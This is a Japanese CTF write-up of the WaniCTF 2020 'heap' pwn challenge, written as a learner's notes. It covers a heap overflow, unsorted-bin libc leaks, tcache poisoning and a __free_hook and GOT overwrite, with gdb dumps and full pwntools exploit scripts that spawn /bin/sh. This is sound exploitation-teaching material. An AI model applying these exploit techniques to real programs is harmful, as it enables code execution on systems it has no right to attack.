WaniCTF 2020 pwn 08 heap Writeup
ついにヒープバッファオーバーフローの勉強に踏み込んでしまった。
難しすぎる。
とりあえず,疑問に思ったことで,解決できたものについては解説をしてみました。
初めてヒープバッファオーバーフローに取り組む人が,偶然,WaniCTF 2020 heap を題材にするという状況ならば,参考になるところもあるかもしれません。
Heap Overflow の問題としては,連続して malloc が出来る分だけ簡単らしいです。
問題
nc heap.wanictf.org 9008
これが作問者の現在の限界です。
使用ツール例
pwntools
objdump
ghidra
セキュリティ保護
Partial RELocation ReadOnly (RELRO)
Stack Smash Protection (SSP)有効
No eXecute bit(NX)有効
Position Independent Executable (PIE)無効
脆弱性は?
動かしてみる
$ ./pwn08
1: add memo
2: edit memo
3: view memo
9: del memo
command?:
Ghidraでデコンパイルしてみた
void command(void)
{
int iVar1;
int iVar2;
void *pvVar3;
print_menu();
iVar1 = get_int();
printf("index?[0-9]: ");
iVar2 = get_int();
if (iVar1 == 2) {
printf("memo?: ");
read(0,*(void **)(g_memos + (long)iVar2 * 8),0x100);
}
else {
if (iVar1 < 3) {
if (iVar1 == 1) {
printf("size?: ");
iVar1 = get_int();
pvVar3 = malloc((long)iVar1);
*(void **)(g_memos + (long)iVar2 * 8) = pvVar3;
}
}
else {
if (iVar1 == 3) {
puts(*(char **)(g_memos + (long)iVar2 * 8));
}
else {
if (iVar1 == 9) {
free(*(void **)(g_memos + (long)iVar2 * 8));
*(undefined8 *)(g_memos + (long)iVar2 * 8) = 0;
}
}
}
}
return;
}
メニュー | 処理の中身 |
---|---|
1: add memo | g_memos[i] = malloc(size) |
2: edit memo | read(0, g_memos[i], 0x100) |
3: view memo | puts(g_memos[i]) |
9: del memo | free(g_memos[i]); g_memos[i]=null |
mallocはサイズ指定なのに,readで0x100まで上書きできる。
ヒープオーバーフロー
putsは文字列の終端 0x00を見つけるまで出力し続けるので,readで上手に文字を埋めれば,チャンクの垣根を越えてデータを読めそうです。
ヒープの状態
add(0, 0x10)
add(1, 0x10)
add(2, 0x10)
を行った状態
gdb-peda$ x/16xg 0x603260
0x603260: 0x0000000000000000 0x0000000000000000
0x603270: 0x0000000000000000 0x0000000000000021
0x603280: 0x0000000000000000 0x0000000000000000
0x603290: 0x0000000000000000 0x0000000000000021
0x6032a0: 0x0000000000000000 0x0000000000000000
0x6032b0: 0x0000000000000000 0x0000000000020d51
その後
edit(0, AAA)
edit(2, CCC)
を行うと
gdb-peda$ x/16xg 0x603260
0x603260: 0x000000000a414141 0x0000000000000000
0x603270: 0x0000000000000000 0x0000000000000021
0x603280: 0x0000000000000000 0x0000000000000000
0x603290: 0x0000000000000000 0x0000000000000021
0x6032a0: 0x000000000a434343 0x0000000000000000
0x6032b0: 0x0000000000000000 0x0000000000020d51
さらに
edit(1, BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB)
を行うと
gdb-peda$ x/16xg 0x603260
0x603260: 0x000000000a414141 0x0000000000000000
0x603270: 0x0000000000000000 0x0000000000000021
0x603280: 0x4242424242424242 0x4242424242424242
0x603290: 0x4242424242424242 0x4242424242424242
0x6032a0: 0x000000000a430a42 0x0000000000000000
0x6032b0: 0x0000000000000000 0x0000000000020d51
0x6032c0: 0x0000000000000000 0x0000000000000000
0x6032d0: 0x0000000000000000 0x0000000000000000
ここで
view(1)
をすると
1: add memo
2: edit memo
3: view memo
9: del memo
command?: 3
index?[0-9]: 1
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
C
つまり,index1を表示したのにindex2に書いた Cが1文字読めてる
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB\x0aC\x0a が読めてる
\x0a無しでいけるのか?
AAAの後,[Enter]キーを押さず,[Ctrl]+d で入力を終わらせると
gdb-peda$ x/16xg 0x603260
0x603260: 0x0000000000414141 0x0000000000000000
0x603270: 0x0000000000000000 0x0000000000000021
0x603280: 0x4242424242424242 0x4242424242424242
0x603290: 0x4242424242424242 0x4242424242424242
0x6032a0: 0x0000000000434342 0x0000000000000000
0x6032b0: 0x0000000000000000 0x0000000000020d51
の状況が作り出せた。
1: add memo
2: edit memo
3: view memo
9: del memo
command?: 3
index?[0-9]: 1
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBCC
kusano氏のwriteupをベースに解く
Unsorted Binを利用したlibc leak
kusano氏のwriteupを読み解くのに非常に参考になった xornet氏の別問題のwriteup
0x3ebca0 って何だ?
libc.address = unsorted - 0x3ebca0 という計算で libc のベースアドレスを求めている
0x3ebca0って何だ?
xornet氏によるとgdbでオフセットを確認できるとのことだったので,真似してみる。
gdb で main_arena のアドレスを確認
gdb-peda$ p &main_arena
$1 = (struct malloc_state *) 0x7ffff7dcdc40 <main_arena>
main_arena のアドレスは,0x7ffff7dcdc40
gdb で libc base のアドレスを確認
gdb-peda$ info proc map
process 2115
Mapped address spaces:
Start Addr End Addr Size Offset objfile
0x400000 0x401000 0x1000 0x0 /home/sita/share/pwn08
0x601000 0x602000 0x1000 0x1000 /home/sita/share/pwn08
0x602000 0x603000 0x1000 0x2000 /home/sita/share/pwn08
0x7ffff79e2000 0x7ffff7bc9000 0x1e7000 0x0 /lib/x86_64-linux-gnu/libc-2.27.so
0x7ffff7bc9000 0x7ffff7dc9000 0x200000 0x1e7000 /lib/x86_64-linux-gnu/libc-2.27.so
0x7ffff7dc9000 0x7ffff7dcd000 0x4000 0x1e7000 /lib/x86_64-linux-gnu/libc-2.27.so
0x7ffff7dcd000 0x7ffff7dcf000 0x2000 0x1eb000 /lib/x86_64-linux-gnu/libc-2.27.so
0x7ffff7dcf000 0x7ffff7dd3000 0x4000 0x0
0x7ffff7dd3000 0x7ffff7dfc000 0x29000 0x0 /lib/x86_64-linux-gnu/ld-2.27.so
0x7ffff7fe5000 0x7ffff7fe7000 0x2000 0x0
0x7ffff7ff8000 0x7ffff7ffb000 0x3000 0x0 [vvar]
0x7ffff7ffb000 0x7ffff7ffc000 0x1000 0x0 [vdso]
0x7ffff7ffc000 0x7ffff7ffd000 0x1000 0x29000 /lib/x86_64-linux-gnu/ld-2.27.so
0x7ffff7ffd000 0x7ffff7ffe000 0x1000 0x2a000 /lib/x86_64-linux-gnu/ld-2.27.so
0x7ffff7ffe000 0x7ffff7fff000 0x1000 0x0
0x7ffffffde000 0x7ffffffff000 0x21000 0x0 [stack]
0xffffffffff600000 0xffffffffff601000 0x1000 0x0 [vsyscall]
libc base のアドレスは,0x7ffff79e2000
main_arena のアドレスは,0x7ffff7dcdc40だったのでオフセットを求めると 0x3ebc40 となる。
0x3ebca0に近いけど 0x60 違う
「サイズが大きいチャンクはtcacheやfastbinでは無く一度Unsorted Binへ放り込まれ、そのfdがmain_arena.topに相当するアドレスを指す」とのこと。
topの値は,
gdb-peda$ p main_arena
$2 = {
mutex = 0x0,
flags = 0x0,
have_fastchunks = 0x0,
fastbinsY = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0},
top = 0x0,
last_remainder = 0x0,
bins = {0x0 <repeats 254 times>},
binmap = {0x0, 0x0, 0x0, 0x0},
next = 0x7ffff7dcdc40 <main_arena>,
next_free = 0x0,
attached_threads = 0x1,
system_mem = 0x0,
max_system_mem = 0x0
}
mallocが呼ばれないとtopの値は0のまま
mallocまで進めてからtopの値を再確認
gdb-peda$ p main_arena
$3 = {
mutex = 0x0,
flags = 0x0,
have_fastchunks = 0x0,
fastbinsY = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0},
top = 0x603270,
last_remainder = 0x0,
bins = {0x7ffff7dcdca0 <main_arena+96>, 0x7ffff7dcdca0 <main_arena+96>,
0x7ffff7dcdcb0 <main_arena+112>, 0x7ffff7dcdcb0 <main_arena+112>,
0x7ffff7dcdcc0 <main_arena+128>, 0x7ffff7dcdcc0 <main_arena+128>,
0x7ffff7dcdcd0 <main_arena+144>, 0x7ffff7dcdcd0 <main_arena+144>,
0x7ffff7dcdce0 <main_arena+160>, 0x7ffff7dcdce0 <main_arena+160>,
0x7ffff7dcdcf0 <main_arena+176>, 0x7ffff7dcdcf0 <main_arena+176>,
0x7ffff7dcdd00 <main_arena+192>, 0x7ffff7dcdd00 <main_arena+192>,
0x7ffff7dcdd10 <main_arena+208>, 0x7ffff7dcdd10 <main_arena+208>,
0x7ffff7dcdd20 <main_arena+224>, 0x7ffff7dcdd20 <main_arena+224>,
0x7ffff7dcdd30 <main_arena+240>, 0x7ffff7dcdd30 <main_arena+240>,
0x7ffff7dcdd40 <main_arena+256>, 0x7ffff7dcdd40 <main_arena+256>,
0x7ffff7dcdd50 <main_arena+272>, 0x7ffff7dcdd50 <main_arena+272>,
0x7ffff7dcdd60 <main_arena+288>, 0x7ffff7dcdd60 <main_arena+288>,
0x7ffff7dcdd70 <main_arena+304>, 0x7ffff7dcdd70 <main_arena+304>,
0x7ffff7dcdd80 <main_arena+320>, 0x7ffff7dcdd80 <main_arena+320>,
0x7ffff7dcdd90 <main_arena+336>, 0x7ffff7dcdd90 <main_arena+336>,
0x7ffff7dcdda0 <main_arena+352>, 0x7ffff7dcdda0 <main_arena+352>,
0x7ffff7dcddb0 <main_arena+368>, 0x7ffff7dcddb0 <main_arena+368>,
0x7ffff7dcddc0 <main_arena+384>, 0x7ffff7dcddc0 <main_arena+384>,
0x7ffff7dcddd0 <main_arena+400>, 0x7ffff7dcddd0 <main_arena+400>,
0x7ffff7dcdde0 <main_arena+416>, 0x7ffff7dcdde0 <main_arena+416>,
0x7ffff7dcddf0 <main_arena+432>, 0x7ffff7dcddf0 <main_arena+432>,
0x7ffff7dcde00 <main_arena+448>, 0x7ffff7dcde00 <main_arena+448>,
0x7ffff7dcde10 <main_arena+464>, 0x7ffff7dcde10 <main_arena+464>,
0x7ffff7dcde20 <main_arena+480>, 0x7ffff7dcde20 <main_arena+480>,
0x7ffff7dcde30 <main_arena+496>, 0x7ffff7dcde30 <main_arena+496>,
0x7ffff7dcde40 <main_arena+512>, 0x7ffff7dcde40 <main_arena+512>,
0x7ffff7dcde50 <main_arena+528>, 0x7ffff7dcde50 <main_arena+528>,
0x7ffff7dcde60 <main_arena+544>, 0x7ffff7dcde60 <main_arena+544>,
0x7ffff7dcde70 <main_arena+560>, 0x7ffff7dcde70 <main_arena+560>,
0x7ffff7dcde80 <main_arena+576>, 0x7ffff7dcde80 <main_arena+576>,
0x7ffff7dcde90 <main_arena+592>, 0x7ffff7dcde90 <main_arena+592>,
0x7ffff7dcdea0 <main_arena+608>, 0x7ffff7dcdea0 <main_arena+608>,
0x7ffff7dcdeb0 <main_arena+624>, 0x7ffff7dcdeb0 <main_arena+624>,
0x7ffff7dcdec0 <main_arena+640>, 0x7ffff7dcdec0 <main_arena+640>,
0x7ffff7dcded0 <main_arena+656>, 0x7ffff7dcded0 <main_arena+656>,
0x7ffff7dcdee0 <main_arena+672>, 0x7ffff7dcdee0 <main_arena+672>,
0x7ffff7dcdef0 <main_arena+688>, 0x7ffff7dcdef0 <main_arena+688>,
0x7ffff7dcdf00 <main_arena+704>, 0x7ffff7dcdf00 <main_arena+704>,
0x7ffff7dcdf10 <main_arena+720>, 0x7ffff7dcdf10 <main_arena+720>,
0x7ffff7dcdf20 <main_arena+736>, 0x7ffff7dcdf20 <main_arena+736>,
0x7ffff7dcdf30 <main_arena+752>, 0x7ffff7dcdf30 <main_arena+752>,
0x7ffff7dcdf40 <main_arena+768>, 0x7ffff7dcdf40 <main_arena+768>,
0x7ffff7dcdf50 <main_arena+784>, 0x7ffff7dcdf50 <main_arena+784>,
0x7ffff7dcdf60 <main_arena+800>, 0x7ffff7dcdf60 <main_arena+800>,
0x7ffff7dcdf70 <main_arena+816>, 0x7ffff7dcdf70 <main_arena+816>,
0x7ffff7dcdf80 <main_arena+832>, 0x7ffff7dcdf80 <main_arena+832>,
0x7ffff7dcdf90 <main_arena+848>, 0x7ffff7dcdf90 <main_arena+848>,
0x7ffff7dcdfa0 <main_arena+864>, 0x7ffff7dcdfa0 <main_arena+864>,
0x7ffff7dcdfb0 <main_arena+880>, 0x7ffff7dcdfb0 <main_arena+880>,
0x7ffff7dcdfc0 <main_arena+896>, 0x7ffff7dcdfc0 <main_arena+896>,
0x7ffff7dcdfd0 <main_arena+912>, 0x7ffff7dcdfd0 <main_arena+912>,
0x7ffff7dcdfe0 <main_arena+928>, 0x7ffff7dcdfe0 <main_arena+928>,
0x7ffff7dcdff0 <main_arena+944>, 0x7ffff7dcdff0 <main_arena+944>,
0x7ffff7dce000 <main_arena+960>, 0x7ffff7dce000 <main_arena+960>,
0x7ffff7dce010 <main_arena+976>, 0x7ffff7dce010 <main_arena+976>,
0x7ffff7dce020 <main_arena+992>, 0x7ffff7dce020 <main_arena+992>,
0x7ffff7dce030 <main_arena+1008>, 0x7ffff7dce030 <main_arena+1008>,
0x7ffff7dce040 <main_arena+1024>, 0x7ffff7dce040 <main_arena+1024>,
0x7ffff7dce050 <main_arena+1040>, 0x7ffff7dce050 <main_arena+1040>,
0x7ffff7dce060 <main_arena+1056>, 0x7ffff7dce060 <main_arena+1056>,
0x7ffff7dce070 <main_arena+1072>, 0x7ffff7dce070 <main_arena+1072>,
0x7ffff7dce080 <main_arena+1088>, 0x7ffff7dce080 <main_arena+1088>,
0x7ffff7dce090 <main_arena+1104>, 0x7ffff7dce090 <main_arena+1104>,
0x7ffff7dce0a0 <main_arena+1120>, 0x7ffff7dce0a0 <main_arena+1120>,
0x7ffff7dce0b0 <main_arena+1136>, 0x7ffff7dce0b0 <main_arena+1136>,
0x7ffff7dce0c0 <main_arena+1152>, 0x7ffff7dce0c0 <main_arena+1152>,
0x7ffff7dce0d0 <main_arena+1168>, 0x7ffff7dce0d0 <main_arena+1168>,
0x7ffff7dce0e0 <main_arena+1184>, 0x7ffff7dce0e0 <main_arena+1184>,
0x7ffff7dce0f0 <main_arena+1200>, 0x7ffff7dce0f0 <main_arena+1200>,
0x7ffff7dce100 <main_arena+1216>, 0x7ffff7dce100 <main_arena+1216>,
0x7ffff7dce110 <main_arena+1232>, 0x7ffff7dce110 <main_arena+1232>,
0x7ffff7dce120 <main_arena+1248>, 0x7ffff7dce120 <main_arena+1248>,
0x7ffff7dce130 <main_arena+1264>, 0x7ffff7dce130 <main_arena+1264>,
0x7ffff7dce140 <main_arena+1280>, 0x7ffff7dce140 <main_arena+1280>,
0x7ffff7dce150 <main_arena+1296>, 0x7ffff7dce150 <main_arena+1296>,
0x7ffff7dce160 <main_arena+1312>, 0x7ffff7dce160 <main_arena+1312>,
0x7ffff7dce170 <main_arena+1328>, 0x7ffff7dce170 <main_arena+1328>,
0x7ffff7dce180 <main_arena+1344>, 0x7ffff7dce180 <main_arena+1344>,
0x7ffff7dce190 <main_arena+1360>, 0x7ffff7dce190 <main_arena+1360>,
0x7ffff7dce1a0 <main_arena+1376>, 0x7ffff7dce1a0 <main_arena+1376>,
0x7ffff7dce1b0 <main_arena+1392>, 0x7ffff7dce1b0 <main_arena+1392>,
0x7ffff7dce1c0 <main_arena+1408>, 0x7ffff7dce1c0 <main_arena+1408>,
0x7ffff7dce1d0 <main_arena+1424>, 0x7ffff7dce1d0 <main_arena+1424>,
0x7ffff7dce1e0 <main_arena+1440>, 0x7ffff7dce1e0 <main_arena+1440>,
0x7ffff7dce1f0 <main_arena+1456>, 0x7ffff7dce1f0 <main_arena+1456>,
0x7ffff7dce200 <main_arena+1472>, 0x7ffff7dce200 <main_arena+1472>,
0x7ffff7dce210 <main_arena+1488>, 0x7ffff7dce210 <main_arena+1488>,
0x7ffff7dce220 <main_arena+1504>, 0x7ffff7dce220 <main_arena+1504>,
0x7ffff7dce230 <main_arena+1520>, 0x7ffff7dce230 <main_arena+1520>,
0x7ffff7dce240 <main_arena+1536>, 0x7ffff7dce240 <main_arena+1536>,
0x7ffff7dce250 <main_arena+1552>, 0x7ffff7dce250 <main_arena+1552>,
0x7ffff7dce260 <main_arena+1568>, 0x7ffff7dce260 <main_arena+1568>,
0x7ffff7dce270 <main_arena+1584>, 0x7ffff7dce270 <main_arena+1584>,
0x7ffff7dce280 <main_arena+1600>, 0x7ffff7dce280 <main_arena+1600>,
0x7ffff7dce290 <main_arena+1616>, 0x7ffff7dce290 <main_arena+1616>,
0x7ffff7dce2a0 <main_arena+1632>, 0x7ffff7dce2a0 <main_arena+1632>,
0x7ffff7dce2b0 <main_arena+1648>, 0x7ffff7dce2b0 <main_arena+1648>,
0x7ffff7dce2c0 <main_arena+1664>, 0x7ffff7dce2c0 <main_arena+1664>,
0x7ffff7dce2d0 <main_arena+1680>, 0x7ffff7dce2d0 <main_arena+1680>...},
binmap = {0x0, 0x0, 0x0, 0x0},
next = 0x7ffff7dcdc40 <main_arena>,
next_free = 0x0,
attached_threads = 0x1,
system_mem = 0x21000,
max_system_mem = 0x21000
}
topの値は,0x603270
main_arena付近のメモリから,0x603270を探す
gdb-peda$ x/16xg &main_arena
0x7ffff7dcdc40 <main_arena>: 0x0000000000000000 0x0000000000000000
0x7ffff7dcdc50 <main_arena+16>: 0x0000000000000000 0x0000000000000000
0x7ffff7dcdc60 <main_arena+32>: 0x0000000000000000 0x0000000000000000
0x7ffff7dcdc70 <main_arena+48>: 0x0000000000000000 0x0000000000000000
0x7ffff7dcdc80 <main_arena+64>: 0x0000000000000000 0x0000000000000000
0x7ffff7dcdc90 <main_arena+80>: 0x0000000000000000 0x0000000000000000
0x7ffff7dcdca0 <main_arena+96>: 0x0000000000603270 0x0000000000000000
0x7ffff7dcdcb0 <main_arena+112>: 0x00007ffff7dcdca0 0x00007ffff7dcdca0
0x603270は,アドレスmain_arena+96にあった。
96 = 0x60
さっきの差の正体がわかった。
Unsorted Binを利用したlibc leakで判明するアドレスは,main_arena.topのアドレス。
main_arena.topのオフセットは0x3ebc40 + 0x60 = 0x3ebca0
厳密にはlibc-2.27.soにおけるmain_arena.topのオフセットは0x3ebc40 + 0x60 = 0x3ebca0
よって,libc.address = unsorted - 0x3ebca0 という計算で libc のベースアドレスが求まる
libc leak の確認
add(0, 0x10)
add(1, 0x410)
delete(1)
だと
gdb-peda$ x/16xg 0x603260
0x603260: 0x0000000000000000 0x0000000000000000
0x603270: 0x0000000000000000 0x0000000000020d91
0x603280: 0x0000000000000000 0x0000000000000000
0x603290: 0x0000000000000000 0x0000000000000000
何もない
add(0, 0x10)
add(1, 0x410)
add(2, 0x10)
delete(1)
だと
gdb-peda$ x/16xg 0x603260
0x603260: 0x0000000000000000 0x0000000000000000
0x603270: 0x0000000000000000 0x0000000000000421
0x603280: 0x00007ffff7dcdca0 0x00007ffff7dcdca0
0x603290: 0x0000000000000000 0x0000000000000000
欲しいものが入ってる。
fd って何?
この資料に出会うまで,さっぱりわからなかった。
「fd, bkメンバは使用中のchunkでは存在しない」ですと,どおりでgdbで追っても理解できないわけだ。
自分が調べた中では,唯一,fdがfreeした後で書かれると記述された素晴らしい資料だ。
__free_hook って何?
一応,システムがあらかじめ用意しているバックドア的なものと認識
最初からsystem("/bin/sh")をとるまで
チャンクを作っていく
add(0, 0x10) RAX: 0x603260 --> 0x0
add(1, 0x410) RAX: 0x603280 --> 0x0
add(2, 0x10) RAX: 0x6036a0 --> 0x0
add(3, 0x10) RAX: 0x6036c0 --> 0x0
add(4, 0x10) RAX: 0x6036e0 --> 0x0
作った直後にfdは無い
gdb-peda$ x/16xg 0x603260
0x603260: 0x0000000000000000 0x0000000000000000 <-- 0
0x603270: 0x0000000000000000 0x0000000000000421
0x603280: 0x0000000000000000 0x0000000000000000 <-- 1
0x603290: 0x0000000000000000 0x0000000000000000
gdb-peda$ x/16xg 0x6036a0
0x6036a0: 0x0000000000000000 0x0000000000000000 <-- 2
0x6036b0: 0x0000000000000000 0x0000000000000021
0x6036c0: 0x0000000000000000 0x0000000000000000 <---3
0x6036d0: 0x0000000000000000 0x0000000000000021
0x6036e0: 0x0000000000000000 0x0000000000000000 <-- 4
0x6036f0: 0x0000000000000000 0x0000000000020911
libcリーク
delete(1)
gdb-peda$ x/16xg 0x603260
0x603260: 0x0000000000000000 0x0000000000000000 <-- 0
0x603270: 0x0000000000000000 0x0000000000000421
0x603280: 0x00007ffff7dcdca0 0x00007ffff7dcdca0 <-- main_arena.top
0x603290: 0x0000000000000000 0x0000000000000000
何の布石?
delete(3)
gdb-peda$ x/16xg 0x6036a0
0x6036a0: 0x0000000000000000 0x0000000000000000 <-- 2
0x6036b0: 0x0000000000000000 0x0000000000000021
0x6036c0: 0x0000000000000000 0x0000000000603010 <-- free(3)
0x6036d0: 0x0000000000000000 0x0000000000000021
0x6036e0: 0x0000000000000000 0x0000000000000000 <-- 4
0x6036f0: 0x0000000000000000 0x0000000000020911
0x603010 何だ?
gdb-peda$ x/16xg 0x603000
0x603000: 0x0000000000000000 0x0000000000000251
0x603010: 0x0000000000000001 0x0000000000000000
0x603020: 0x0000000000000000 0x0000000000000000
0x603030: 0x0000000000000000 0x0000000000000000
edit(2, b"x"*0x20+pack(libc.symbols.__free_hook))
__free_hookのアドレスのかわりに 0x604042を入れてみる
※0x604042に意味はありません。ASCII文字でセグフォにならないアドレスというだけです。
command?: 2
index?[0-9]: 2
memo?: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB@` [Ctrl+d]
gdb-peda$ x/16xg 0x6036a0
0x6036a0: 0x4141414141414141 0x4141414141414141 <-- edit(2)
0x6036b0: 0x4141414141414141 0x4141414141414141
0x6036c0: 0x0000000000604042 0x0000000000603010
0x6036d0: 0x0000000000000000 0x0000000000000021
0x6036e0: 0x0000000000000000 0x0000000000000000 <-- 4
0x6036f0: 0x0000000000000000 0x0000000000020911
add(5, 0x10)
RAX: 0x6036c0 --> 0x604042 --> 0x0
gdb-peda$ x/16xg 0x6036a0
0x6036a0: 0x4141414141414141 0x4141414141414141 <-- 2
0x6036b0: 0x4141414141414141 0x4141414141414141
0x6036c0: 0x0000000000604042 0x0000000000000000 <-- 5
0x6036d0: 0x0000000000000000 0x0000000000000021
0x6036e0: 0x0000000000000000 0x0000000000000000 <-- 4
0x6036f0: 0x0000000000000000 0x0000000000020911
ヒープバッファオーバーフローで書き込んだ 0x604042 が残ってる
これを使ってしまえば, UAF ( Use After Free ) ってこと?
add(6, 0x10)
RAX: 0x604042 --> 0x0
おー狙ったアドレスにヒープが割り当てられた。
edit(6, pack(libc.symbols.system))
edit(0, b"/bin/sh\0")
delete(0)
__free_hookのアドレスに,systemのアドレスを書き込み
チャンク(0)に引数を書き込んで
free(0)でフックをキックしている。
kusano氏の攻撃コードは,そのまんまで動きました。
コードが気になる方はkusano氏のページで確認してください。
簡単に要点をまとめると
大きいサイズのチャンクをfreeするとmain_arena.topのアドレスがfdに書かれるのでlibc base アドレスをとれる(=systemのアドレスがとれる)
__free_hookにsystem()のアドレスを書き込んだ状態で,"bin/sh\x00"を書き込んだチャンクをfreeしたらsystem("/bin/sh")が走る。
satoooon氏のwriteupをベースに解く
Format String Bugを利用したlibc leak
satoooon氏のwriteupを読み解くのに非常に参考になった yudai氏のwriteup
こんどは libc leak に FSBをつかっているようです。
そしてsystem("/bin/sh\x00")をやるのにputs@gotを書き換えてる
FSBって何?
%llx
攻撃コード
satoooon氏のコードはコピペだと動かない仕様だったので,つぎはぎして動くようにしてみました。
# coding: UTF-8
from pwn import *
import sys
import re
context.terminal = "wterminal"
context.arch = "amd64"
def get_io():
# debugは動かない
if len(sys.argv) > 1 and sys.argv[1] == "debug":
io = gdb.debug(file, command)
elif len(sys.argv) > 1 and sys.argv[1] == "remote":
_, domain, port = nc.split()
io = remote(domain, int(port))
else:
io = process(file)
return io
file = "./pwn08"
libc = "./libc-2.27.so"
nc = "nc heap.wanictf.org 9008"
chall = ELF(file)
libc = ELF(libc)
io = get_io()
def add(index, size):
io.recvuntil("command?: ")
io.sendline("1")
io.recvuntil("[0-9]: ")
io.sendline(str(index))
io.recvuntil("size?: ")
io.sendline(str(size))
def edit(index, data):
io.recvuntil("command?: ")
io.sendline("2")
io.recvuntil("[0-9]: ")
io.sendline(str(index))
io.recvuntil("memo?: ")
io.sendline(data)
def view(index):
io.recvuntil("command?: ")
io.sendline("3")
io.recvuntil("[0-9]: ")
io.sendline(str(index))
def delete(index):
io.recvuntil("command?: ")
io.sendline("9")
io.recvuntil("[0-9]: ")
io.sendline(str(index))
add(0, 20)
add(1, 20)
add(2, 20)
delete(2)
delete(1)
# tcache => 1 => 2
payload = b""
payload += b"A" * 0x18
payload += p64(0x21) # size
payload += p64(chall.got["puts"]) # fd
payload += p64(0) # key
edit(0, payload)
delete(1)
# tcache => 1 => puts@got
add(1, 20)
# tcache => puts@got
add(2, 20) # 2のアドレスがputs@gotになる
# FSB用のチャンク
add(3, 100)
# FSBをするためにputs@gotをprintf@pltに置き換える
edit(2, p64(chall.plt["printf"]))
# FSBでlibc leak
edit(3, "%11$llx")
view(3)
io.recvuntil("***** 3 *****\n")
view_data = io.recvline()
log.info("view_data = %s" % view_data)
libc_leak = int(view_data,16)
log.info("leak: = %s" % hex(libc_leak))
libc.address = libc_leak - (libc.sym["__libc_start_main"] + 231)
log.info("libc base = %s" % hex(libc.address))
# puts@gotをsystemに置き換える
edit(2, p64(libc.sym["system"]))
edit(3, "/bin/sh\x00")
io.interactive()
ctf4b Beginner’s Heap風に
SECCON Beginners CTF 2020 Beginner’s Heap風に,連続して malloc できない制約下で攻撃コードを書いてみた。
参考にした作問者writeup
(前半部分は省略)
add(0, 20) #このアドレスを A とする(bofはあるがfreeできない制約がある)
add(1, 20) #このアドレスを B とする(mallocとfreeができるが,mallocサイズは0x18固定)
delete(1)
# (0x20) tcache --> B
payload = b""
payload += b"A" * 0x18
payload += p64(0x30) # <-- ★★★ここが重要
payload += p64(chall.got["puts"])
edit(0, payload)
# (0x20) tcache --> B --> puts@got
# サイズのチェックしてない
add(1, 20)
# (0x20) tcache --> puts@got
delete(1)
# (0x30) tcache --> B
# (0x20) tcache --> puts@got
add(1, 20) # 1のアドレスがputs@gotになる
# FSB用のチャンク
add(5, 100)
# FSBをするためにputs@gotをprintf@pltに置き換える
edit(1, p64(chall.plt["printf"]))
# FSBでlibc leak
edit(5, "%11$llx")
view(5)
io.recvuntil("***** 5 *****\n")
view_data = io.recvline()
log.info("view_data = %s" % view_data)
libc_leak = int(view_data,16)
log.info("leak: = %s" % hex(libc_leak))
libc.address = libc_leak - (libc.sym["__libc_start_main"] + 231)
log.info("libc base = %s" % hex(libc.address))
# puts@gotをsystemに置き換える
edit(1, p64(libc.sym["system"]))
edit(5, "/bin/sh\x00")
Pwngdb との出会い
チャンクはmallocの戻り値でアドレスがわかっていたのでgdbでのぞいていたが,tcacheをどうやって見るのかわからなかった。
が,わかった。
gdb for pwnをインストールすれば,見れそうだ。
Pwngdb のインストール
狙ったアドレスにヒープを作成する
まず,最初に狙ったアドレスにヒープを作成するのをやってみます。
add(0, 16)
add(1, 16)
add(2, 16)
gdb-peda$ x/16xg 0x603260
0x603260: 0x0000000000000000 0x0000000000000000 <-- 0
0x603270: 0x0000000000000000 0x0000000000000021
0x603280: 0x0000000000000000 0x0000000000000000 <-- 1
0x603290: 0x0000000000000000 0x0000000000000021
0x6032a0: 0x0000000000000000 0x0000000000000000 <-- 2
0x6032b0: 0x0000000000000000 0x0000000000020d51
gdb-peda$ heapinfo
(0x20) fastbin[0]: 0x0
(0x30) fastbin[1]: 0x0
(0x40) fastbin[2]: 0x0
(0x50) fastbin[3]: 0x0
(0x60) fastbin[4]: 0x0
(0x70) fastbin[5]: 0x0
(0x80) fastbin[6]: 0x0
(0x90) fastbin[7]: 0x0
(0xa0) fastbin[8]: 0x0
(0xb0) fastbin[9]: 0x0
top: 0x6032b0 (size : 0x20d50)
last_remainder: 0x0 (size : 0x0)
unsortbin: 0x0
del(1)
gdb-peda$ x/16xg 0x603260
0x603260: 0x0000000000000000 0x0000000000000000 <-- 0
0x603270: 0x0000000000000000 0x0000000000000021
0x603280: 0x0000000000000000 0x0000000000603010 <-- free
0x603290: 0x0000000000000000 0x0000000000000021
0x6032a0: 0x0000000000000000 0x0000000000000000 <-- 2
0x6032b0: 0x0000000000000000 0x0000000000020d51
gdb-peda$ heapinfo
(0x20) fastbin[0]: 0x0
(0x30) fastbin[1]: 0x0
(0x40) fastbin[2]: 0x0
(0x50) fastbin[3]: 0x0
(0x60) fastbin[4]: 0x0
(0x70) fastbin[5]: 0x0
(0x80) fastbin[6]: 0x0
(0x90) fastbin[7]: 0x0
(0xa0) fastbin[8]: 0x0
(0xb0) fastbin[9]: 0x0
top: 0x6032b0 (size : 0x20d50)
last_remainder: 0x0 (size : 0x0)
unsortbin: 0x0
(0x20) tcache_entry[0](1): 0x603280
おー,freeしたばっかりの 0x603280 を再利用しようとしてるw
tcache_entryに 0x603280 がつながった
command?: 2
index?[0-9]: 0
memo?: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB@` [Ctrl+d]
仮に0x604042がGOTとかで書き換えたいアドレスとする。
B@` = 0x604042
gdb-peda$ x/16xg 0x603260
0x603260: 0x4141414141414141 0x4141414141414141
0x603270: 0x4141414141414141 0x4141414141414141
0x603280: 0x0000000000604042 0x0000000000603010 <-- over flow
0x603290: 0x0000000000000000 0x0000000000000021
0x6032a0: 0x0000000000000000 0x0000000000000000
0x6032b0: 0x0000000000000000 0x0000000000020d51
gdb-peda$ heapinfo
(0x20) fastbin[0]: 0x0
(0x30) fastbin[1]: 0x0
(0x40) fastbin[2]: 0x0
(0x50) fastbin[3]: 0x0
(0x60) fastbin[4]: 0x0
(0x70) fastbin[5]: 0x0
(0x80) fastbin[6]: 0x0
(0x90) fastbin[7]: 0x0
(0xa0) fastbin[8]: 0x0
(0xb0) fastbin[9]: 0x0
top: 0x6032b0 (size : 0x20d50)
